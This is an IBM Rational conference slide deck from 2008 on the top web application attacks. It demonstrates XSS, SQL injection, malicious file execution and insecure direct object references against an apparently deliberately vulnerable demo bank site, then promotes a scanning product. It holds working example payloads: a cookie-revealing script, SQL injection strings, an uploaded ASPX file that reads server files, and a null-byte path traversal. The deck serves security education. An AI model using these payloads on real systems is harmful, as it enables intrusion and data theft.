

The Top Web Application Attacks: Are you vulnerable?

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IBM Rational Software Development Conference 2008

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
Agenda

- Current State of Web Application Security
- Understanding Web Application Attacks
 - Demo of the 4 top vulnerabilities affecting Web Application and how they can be exploited
- How to automatically find these vulnerabilities on your Web Site




Security

The Challenge for Organizations



75% of All Attacks on Information Security Are Directed to the Web Application Layer

Application Security Defects #1 & #2 Vulnerabilities



Drivers for Web Application Attacks*

Attack Goal	%
Stealing Sensitive Information	42%
Defacement	23%
Planting Malware	15%
Unknown	8%
Deceit	3%
Blackmail	3%
Link Spam	3%
Worm	1%
Phishing	1%
Information Warfare	1%





FIGURE 1 - INCIDENT BY OUTCOME

Web Applications hacks have replaced email as the preferred delivery method of Malware (viruses, root kits and trojans)

*From Web Hacking Incidents Database 2007

Incident by Attack Type (2007)

Attack/Vulnerability Used	%
SQL Injection	20%
Unintentional Information Disclosure	17%
Known Vulnerability	15%
Cross Site Scripting (XSS)	12%
Insufficient Access Control	10%
Credential/Session Prediction	8%
OS Commanding	3%
Misconfiguration	3%
Insufficient Anti-automation	3%
Denial of Service	3%
Redirection	2%
Insufficient Session Expiration	2%
Cross Site Request Forgery (CSRF)	2%



Cost of an Application Security Breach

Media attention/ Brand damage

Sharp decline in Stock Prices

Communication/Monitoring Service Costs

Legal Fees (Reported \$3-4 million/incident)

FTC Penalties (Fines can range up to 15 million/incident)

Additional 3rd party Audits

New Security Spending

Customer Lawsuits

Customer Loss

TJ Maxx's Application Security Breach cost them over 45 million dollars!!

Why Application Security Problems Exist

Root Cause:

Developers are not trained to write or test for secure code

Firewalls and IDS/IPS systems don't block application attacks.

Port 80/443 is wide open for attack.

Network scanners won't find application vulnerabilities.

Network security (firewall, IDS, etc) do nothing once an organization web enables an application.

Current State:

Organizations test tactically at a late & costly stage in the SDLC

A communication gap exists between security and development as such vulnerabilities are not fixed


Testing coverage is incomplete

Goal:

To build better and more secure applications/websites

Understanding Web Application Attacks

High Level Web Application Architecture Review





Security

The Myth: "Our Site Is Safe"

**We Have Firewalls
in Place**

**We Audit It Once a
Quarter with Pen Testers**

We use SSL

**We Use Network
Vulnerability Scanners**

OWASP and the OWASP Top 10 list

Open Web Application Security Project – an open organization dedicated to fight insecure software

“The OWASP Top Ten document represents a broad consensus about what the most critical web application security flaws are”

We will use the Top 10 list to cover some of the most common security issues in web applications

OWASP Top 10 Application Attacks

Application Threat	Negative Impact	Example Impact
Cross Site scripting	Identity Theft, Sensitive Information Leakage, ...	Hackers can impersonate legitimate users, and control their accounts.
Injection Flaws	Attacker can manipulate queries to the DB / LDAP / Other system	Hackers can access backend database information, alter it or steal it.
Malicious File Execution	Execute shell commands on server, up to full control	Site modified to transfer all interactions to the hacker.
Insecure Direct Object Reference	Attacker can access sensitive files and resources	Web application returns contents of sensitive file (instead of harmless one)
Cross-Site Request Forgery	Attacker can invoke "blind" actions on web applications, impersonating as a trusted user	Blind requests to bank account transfer money to hacker
Information Leakage and Improper Error Handling	Attackers can gain detailed system information	Malicious system reconnaissance may assist in developing further attacks
Broken Authentication & Session Management	Session tokens not guarded or invalidated properly	Hacker can "force" session token on victim; session tokens can be stolen after logout
Insecure Cryptographic Storage	Weak encryption techniques may lead to broken encryption	Confidential information (SSN, Credit Cards) can be decrypted by malicious users
Insecure Communications	Sensitive info sent unencrypted over insecure channel	Unencrypted credentials "sniffed" and used by hacker to impersonate user
Failure to Restrict URL Access	Hacker can access unauthorized resources	Hacker can forcefully browse and access a page past the login page

1. Cross-Site Scripting (XSS)

What is it?

Malicious script echoed back into HTML returned from a trusted site, and runs under trusted context

What are the implications?

Session Tokens stolen (browser security circumvented)

Complete page content compromised

Future pages in browser compromised

Demonstration – Cross Site Scripting

Main points covered in the demo or video:

Locating an a place where user input which is echoed back to the browser

Seeing if the user input is echoed back 'as-is' or if it is properly encoded

Exploiting the vulnerability



XSS Example I

http://www.testfire.net/search.aspx?txtSearch=asdf

Sign In | Contact Us | Feedback | Search asdf

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Search Results

No results were found for the query:

asdf

HTML code:

```
<p>No results were found for the query:<br /><br />
<span id="_ct10_ct10_Content_Main_lblSearch">asdf</span>
```

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XSS Example II

Search Results

The page at http://www.testfire.net says:

ASP.NET_SessionId=trohgq450cpi5r45rr2pl1fg; amSessionId=1824418181

HTML code:

```
<p>No results were found for the query:<br /><br />
<span id="_ct10_ct10_Content_Main_lblSearch"><script>alert(document.cookie)</script></span>
```

XSS – Details

Common in Search, Error Pages and returned forms.

But can be found on any type of page

Any input may be echoed back

Path, Query, Post-data, Cookie, Header, etc.


Browser technology used to aid attack

XMLHttpRequest (AJAX), Flash, IFrame...

Has many variations

XSS in attribute, DOM Based XSS, etc.

Cross Site Scripting – The Exploit Process



Exploiting XSS

If I can get you to run my JavaScript, I can...

- Steal your cookies for the domain you're browsing

- Track every action you do in that browser from now on

- Redirect you to a Phishing site

- Completely modify the content of any page you see on this domain

- Exploit browser vulnerabilities to take over machine

- ...

2 - Injection Flaws

What is it?

User-supplied data is sent to an interpreter as part of a command, query or data.

What are the implications?

SQL Injection – Access/modify data in DB

SSI Injection – Execute commands on server and access sensitive data

LDAP Injection – Bypass authentication

...

SQL Injection

User input inserted into SQL Command:

Get product details by id:

```
Select * from products where id='$REQUEST["id"]';
```

Hack: send param id with value ' or '1'='1'

Resulting executed SQL:

```
Select * from products where id=" or '1'='1'
```

All products returned

SQL Injection

User input is embedded as-is in predefined SQL statements:

```
query = "SELECT * from Users where
userid=' + iUserID + ' AND
password=' + iPassword + '";
```

Username:

Password:

Remember me

[Forgot Password?](#)

UserID	Username	Password	Name
1824	jsmith	demo1234	John Smith


Hacker supplies input that modifies the original SQL statement, for example:

```
iUserID = ' or 1=1 --
```

UserID	Username	Password	Name
1	admin	\$#kaoeFor56	Administrator

SQL Injection Example I

SQL Injection Example II



http://www.testfire.net/bank/login.aspx

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An Error Has Occurred

Summary:

Syntax error (missing operator) in query expression 'username = '' AND password = 'asdf'.

Error Message:

```
System.Data.OleDb.OleDbException: Syntax error (missing operator) in query expression 'username = '' AND password = 'asdf'. at System.Data.OleDb.OleDbCommand.ExecuteNonQueryForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery(Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteNonQuery(CommandBehavior behavior, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at Altoro.Authentication.ValidateUser(String uName, String pWord) in d:\downloads\AltoroMutual_v5\website\bank\login.aspx.cs:line 68 at Altoro.Authentication.Page_Load(Object sender, EventArgs e) in d:\downloads\AltoroMutual_v5\website\bank\login.aspx.cs:line 32 at System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr fp, Object o, Object t, EventArgs e) at System.Web.Util.CalliEventHandlerDelegateProxy.Callback(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
```


SQL Injection Example - Exploit

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Password:

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SQL Injection Example - Outcome

Demonstration – SQL Injection

Main points covered in
the demo or video:

How to find a SQL
injection vulnerability

How to exploit a SQL
injection vulnerability



3 - Malicious File Execution

What is it?

Application tricked into executing commands or creating files on server

What are the implications?

Command execution on server – complete takeover

Site Defacement, including XSS option

Demonstration – Malicious File

Main points covered in
the demo or video:

- Demonstrating how a
Malicious File
Exploit attack can be
used to get access
to system files



Malicious File Execution – Example I

The screenshot shows a web browser window with a 'Tamper Popup' dialog box open. The popup title is 'Tamper Popup' and the URL is 'http://www.testfire.net/comment.aspx'. It contains two tables: 'Request Header Name' and 'Request Header Value' on the left, and 'Post Parameter Name' and 'Post Parameter Value' on the right. The 'cfile' parameter is highlighted with a red box and contains the value 'comments.txt'. Below the popup, the 'Submit' and 'Clear Form' buttons are visible on the page.

Request Header Name	Request Header Value	Post Parameter Name	Post Parameter Value
Host	www.testfire.net	cfile	comments.txt
User-Agent	Mozilla/5.0 (Windows; U; Window	name	asdf
Accept	text/xml,application/xml,applicat	email_addr	asdf
Accept-Language	en-us,en;q=0.5	subject	asdf
Accept-Encoding	gzip,deflate	comments	asdf
Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.	submit	+Submit+
Keep-Alive	300		
Connection	keep-alive		
Referer	http://www.testfire.net/feedbar		
Cookie	ASP.NET_SessionId=adp4vz550		

Malicious File Execution – Example cont.

Tamper Popup

http://www.testfire.net/comment.aspx


Request Header Name	Request Header Value	Post Parameter Name	Post Parameter Value
Host	www.testfire.net	cfile	myevilfile.aspx
User-Agent	Mozilla/5.0 (Windows; U; Window	name	asdf
Accept	text/xml,application/xml,applicat	email_addr	asdf
Accept-Language	en-us,en;q=0.5	subject	asdf
Accept-Encoding	gzip,deflate	comments	%3C%25%40+Page+Language
Accept-Charset	ISO-8859-1,utf-8;q=0.7,*;q=0.	submit	+Submit+
Keep-Alive	300		
Connection	keep-alive		
Referer	http://www.testfire.net/feedbar		
Cookie	amUserInfo=UserName=JyBvciA		

```

<%@ Page Language="C#" %>
<% Response.Write(System.IO.File.ReadAllText
("c:/windows/system32/drivers/etc/hosts")); %>
    
```

OK Cancel

Malicious File Execution – Example cont.



```
asdf, asdf, asdf, # Copyright (c) 1993-1999 Microsoft Corp. ## This is a sample HOSTS file used by Microsoft TCP/IP for
Windows. ## This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line.
The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host
name should be separated by at least one # space. ## Additionally, comments (such as these) may be inserted on individual #
lines or following the machine name denoted by a '#' symbol. ## For example: ## 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host 127.0.0.1 localhost
```


4 - Insecure Direct Object Reference

What is it?

Part or all of a resource (file, table, etc.) name controlled by user input.

What are the implications?

Access to sensitive resources

Information Leakage, aids future hacks

Demonstration – Insecure Direct Object References

Main points covered in
the demo or video:

Demonstrating how to
extract files from the
host system using
the poison null byte
attack



Insecure Direct Object Reference - Example

The screenshot shows a web browser window with the URL `://www.testfire.net/default.aspx?content=business_deposit.htm`. The page displays the Altoro Mutual logo and navigation menu. The main content area is titled "Deposit Products" and includes the following text:

At Altoro Mutual, we offer business deposit products designed to help you manage your money and grow your business including:

- Commercial Savings Accounts
- Commercial Money Market Accounts
- Time Deposits
- [High Yield Investments](#)

For more information about these products, please [contact Altoro Mutual](#).


Note: all Altoro Mutual business deposit accounts include free access to Altoro Mutuals secure, Online Banking site, where you can view account information, make payments and transfers and more.

At Altoro Mutual, we offer business deposit products designed to help you manage your money and grow your business

At the bottom of the page, a red dashed box highlights the following text:

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Insecure Direct Object Reference – Example Cont.



Insecure Direct Object Reference – Example Cont.

tp://www.testfire.net/default.aspx?content=../boot.ini%00.htm

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```
[boot loader]timeout=30default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS[operating systems]multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
```

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Organizations must mitigate the risk!

*Organizations need to mitigate the risk of a Web
Application Security breach!*

They need to find and **remediate** vulnerabilities in their Web Applications before they
are exploited by Hackers

IBM Rational AppScan is the tool to help them do this!

Demo of IBM Rational AppScan Empowering Organizations to mitigate risk




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When to test your Applications for Security Defects ??....

Application Security Maturity Model




Testing early reduces cost and time to market

	Found in Design	Found in Coding	Found in Integration	Found in Beta	Found in GA
Design Errors	1x	5x	10x	15x	30x
Coding Errors		1x	10x	20x	30x
Integration Errors			1x	10x	20x

* <http://www.nist.gov/director/prog-ofc/report02-3.pdf>

IBM Rational AppScan SDLC Ecosystem



Q&A



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